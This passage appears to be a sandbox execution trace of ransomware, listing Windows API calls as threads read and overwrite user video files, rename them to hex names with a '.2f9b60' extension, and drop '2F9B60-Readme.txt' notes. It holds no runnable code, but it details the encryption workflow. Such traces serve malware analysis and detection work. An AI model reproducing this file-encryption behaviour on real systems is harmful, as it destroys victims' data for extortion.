RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0100.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623c0) returned 1 [0100.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.610] WriteFile (in: hFile=0x156c, lpBuffer=0x1ce73da0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x247dfd20, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesWritten=0x247dfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0100.618] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x10c6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.618] ReadFile (in: hFile=0x156c, lpBuffer=0x1ce70190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x247dfd20, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesRead=0x247dfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.618] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x10c6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0100.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262330) returned 1 [0100.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce73da0 [0100.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0100.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262390 [0100.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262390) returned 1 [0100.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.619] WriteFile (in: hFile=0x156c, lpBuffer=0x1ce73da0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x247dfd20, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesWritten=0x247dfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0100.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ef00 [0100.939] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.939] WriteFile (in: hFile=0x156c, lpBuffer=0x1b865e60*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x247dfdd0, lpOverlapped=0x0 | out: lpBuffer=0x1b865e60*, lpNumberOfBytesWritten=0x247dfdd0*=0x148, lpOverlapped=0x0) returned 1 [0101.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0101.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869840 [0101.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0101.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260980) returned 1 [0101.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0101.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0101.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260950 [0101.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260950) returned 1 [0101.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869840) returned 1 [0101.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0101.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f5b0 [0101.944] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="c6") returned 2 [0101.944] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="2f") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="0b") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="4d") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="08") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="be") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="25") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="70") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="75") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="d1") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="6e") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="56") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="51") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="57") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="d1") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="43") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="84") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="91") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="68") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="63") returned 2 [0101.945] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="85") returned 2 [0101.945] RtlInitAnsiString (in: DestinationString=0x247dfe48, SourceString="c62f0b4d08be257075d1e46e565157d1438491686385" | out: DestinationString="c62f0b4d08be257075d1e46e565157d1438491686385") [0101.945] RtlAnsiStringToUnicodeString (in: DestinationString=0x247dfe18, SourceString="c62f0b4d08be257075d1e46e565157d1438491686385", AllocateDestinationString=1 | out: DestinationString="c62f0b4d08be257075d1e46e565157d1438491686385") returned 0x0 [0101.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced92b0 [0101.946] wcscat (in: _Dest=0x4205c290, _Source="c62f0b4d08b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c62f0b4d08b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c62f0b4d08b" [0101.946] wcscat (in: _Dest=0x4205c290, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c62f0b4d08b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c62f0b4d08b.2f9b60" [0101.946] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c62f0b4d08b.2f9b60", NtPathName=0x247dfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\c62f0b4d08b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x202788f0 [0105.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202788f0) returned 1 [0105.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9be10) returned 1 [0105.635] NtQueryInformationFile (in: FileHandle=0x156c, IoStatusBlock=0x247dfe58, FileInformation=0x247dfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x247dfe58, FileInformation=0x247dfe68) returned 0x0 [0105.635] NtSetInformationFile (FileHandle=0x156c, IoStatusBlock=0x247dfe58, FileInformation=0x247dfe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c290) returned 1 [0105.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0105.755] FlushFileBuffers (hFile=0x156c) returned 1 [0106.026] CloseHandle (hObject=0x156c) returned 1 [0106.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x204ffa50 [0106.061] wcscpy (in: _Dest=0x204ffa50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0106.061] wcscat (in: _Dest=0x204ffa50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0106.061] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0106.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffa50) returned 1 [0106.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a41d0) returned 1 Thread: id = 845 os_tid = 0x640 [0099.536] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\RmJ_rakhj.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\rmj_rakhj.mkv")) returned 0x20 [0099.536] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\RmJ_rakhj.mkv", dwFileAttributes=0x20) returned 1 [0099.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\RmJ_rakhj.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\rmj_rakhj.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1570 [0099.536] GetFileSizeEx (in: hFile=0x1570, lpFileSize=0x23d5fb20 | out: lpFileSize=0x23d5fb20*=72031) returned 1 [0099.536] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x1195b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.536] ReadFile (in: hFile=0x1570, lpBuffer=0x23d5faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23d5fae8, lpOverlapped=0x0 | out: lpBuffer=0x23d5faa0*, lpNumberOfBytesRead=0x23d5fae8*=0x4, lpOverlapped=0x0) returned 1 [0099.537] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0099.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620f0 [0099.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0099.538] NtQuerySystemTime (in: CurrentTime=0x23d5f9e0 | out: CurrentTime=0x23d5f9e0*=132462177050578000) returned 0x0 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x28aaa441 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x40cbbba3 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x22378c99 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x135620a8 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x5d2c4757 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x98f2c42 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x71acce44 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x66373381 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x56b259af [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x28b127c7 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x4c09f877 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x212f607e [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x202fd4f2 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x19c52850 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x2e7a3643 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x780b8565 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x2b1ba506 [0099.538] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x2ce0e391 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x320e268c [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x65d9a5ab [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x16d51f3 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x5950bb22 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x5753ef46 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x75ff7808 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x9397ac2 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x4de8681e [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x1e5fc834 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x11a8e105 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x4aa45007 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x39b98653 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x78cafea3 [0099.539] RtlRandomEx (in: Seed=0x23d5f9d0 | out: Seed=0x23d5f9d0) returned 0x5ee8067a [0099.551] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.551] ReadFile (in: hFile=0x1570, lpBuffer=0x1ce779b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23d5fa40, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesRead=0x23d5fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0099.551] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0099.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869440 [0099.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0099.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0099.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce7b5c0 [0099.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0099.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0099.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0099.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869440) returned 1 [0099.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0099.552] WriteFile (in: hFile=0x1570, lpBuffer=0x1ce7b5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23d5fa40, lpOverlapped=0x0 | out: lpBuffer=0x1ce7b5c0*, lpNumberOfBytesWritten=0x23d5fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7b5c0) returned 1 [0100.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce779b0) returned 1 [0100.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202623c0 [0100.611] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.611] WriteFile (in: hFile=0x1570, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x23d5faf0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x23d5faf0*=0x10c, lpOverlapped=0x0) returned 1 [0100.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0100.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0100.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20261f40 [0100.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f10 [0100.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e50 [0100.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e50) returned 1 [0100.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f3b0 [0100.669] sprintf (in: _Dest=0x1cd9f3b0, _Format="%c%c" | out: _Dest="7b") returned 2 [0100.669] sprintf (in: _Dest=0x1cd9f3b2, _Format="%c%c" | out: _Dest="d2") returned 2 [0100.669] sprintf (in: _Dest=0x1cd9f3b4, _Format="%c%c" | out: _Dest="8e") returned 2 [0100.669] sprintf (in: _Dest=0x1cd9f3b6, _Format="%c%c" | out: _Dest="eb") returned 2 [0100.669] sprintf (in: _Dest=0x1cd9f3b8, _Format="%c%c" | out: _Dest="c8") returned 2 [0100.669] sprintf (in: _Dest=0x1cd9f3ba, _Format="%c%c" | out: _Dest="6e") returned 2 [0100.669] sprintf (in: _Dest=0x1cd9f3bc, _Format="%c%c" | out: _Dest="7b") returned 2 [0100.669] sprintf (in: _Dest=0x1cd9f3be, _Format="%c%c" | out: _Dest="2c") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3c0, _Format="%c%c" | out: _Dest="6b") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3c2, _Format="%c%c" | out: _Dest="4d") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3c4, _Format="%c%c" | out: _Dest="30") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3c6, _Format="%c%c" | out: _Dest="6e") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3c8, _Format="%c%c" | out: _Dest="03") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3ca, _Format="%c%c" | out: _Dest="88") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3cc, _Format="%c%c" | out: _Dest="5b") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3ce, _Format="%c%c" | out: _Dest="82") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3d0, _Format="%c%c" | out: _Dest="6f") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3d2, _Format="%c%c" | out: _Dest="cc") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3d4, _Format="%c%c" | out: _Dest="df") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3d6, _Format="%c%c" | out: _Dest="97") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3d8, _Format="%c%c" | out: _Dest="30") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3da, _Format="%c%c" | out: _Dest="a9") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3dc, _Format="%c%c" | out: _Dest="1c") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3de, _Format="%c%c" | out: _Dest="1f") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3e0, _Format="%c%c" | out: _Dest="dc") returned 2 [0100.670] sprintf (in: _Dest=0x1cd9f3e2, _Format="%c%c" | out: _Dest="52") returned 2 [0100.670] RtlInitAnsiString (in: DestinationString=0x23d5fb68, SourceString="7bd28eebc86e7b2c6b4d306e03885b826fccdf9730a91c1fdc52" | out: DestinationString="7bd28eebc86e7b2c6b4d306e03885b826fccdf9730a91c1fdc52") [0100.670] RtlAnsiStringToUnicodeString (in: DestinationString=0x23d5fb38, SourceString="7bd28eebc86e7b2c6b4d306e03885b826fccdf9730a91c1fdc52", AllocateDestinationString=1 | out: DestinationString="7bd28eebc86e7b2c6b4d306e03885b826fccdf9730a91c1fdc52") returned 0x0 [0100.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866940 [0100.671] wcscat (in: _Dest=0x202b0dd0, _Source="7bd28eebc86e7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7bd28eebc86e7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7bd28eebc86e7" [0100.671] wcscat (in: _Dest=0x202b0dd0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7bd28eebc86e7.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7bd28eebc86e7.2f9b60" [0100.671] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7bd28eebc86e7.2f9b60", NtPathName=0x23d5fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\7bd28eebc86e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1073c0 [0107.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0107.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98990) returned 1 [0107.603] NtQueryInformationFile (in: FileHandle=0x1570, IoStatusBlock=0x23d5fb78, FileInformation=0x23d5fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23d5fb78, FileInformation=0x23d5fb88) returned 0x0 [0107.603] NtSetInformationFile (FileHandle=0x1570, IoStatusBlock=0x23d5fb78, FileInformation=0x23d5fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0dd0) returned 1 [0107.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.644] FlushFileBuffers (hFile=0x1570) returned 1 [0107.651] CloseHandle (hObject=0x1570) returned 1 [0107.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205c8d0 [0107.668] wcscpy (in: _Dest=0x4205c8d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0107.669] wcscat (in: _Dest=0x4205c8d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0107.669] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0107.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c8d0) returned 1 [0107.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4260) returned 1 Thread: id = 846 os_tid = 0xac4 [0099.588] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\tY9NMb05H.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\ty9nmb05h.avi")) returned 0x20 [0099.588] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\tY9NMb05H.avi", dwFileAttributes=0x20) returned 1 [0099.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\tY9NMb05H.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\ty9nmb05h.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed0 [0099.589] GetFileSizeEx (in: hFile=0xed0, 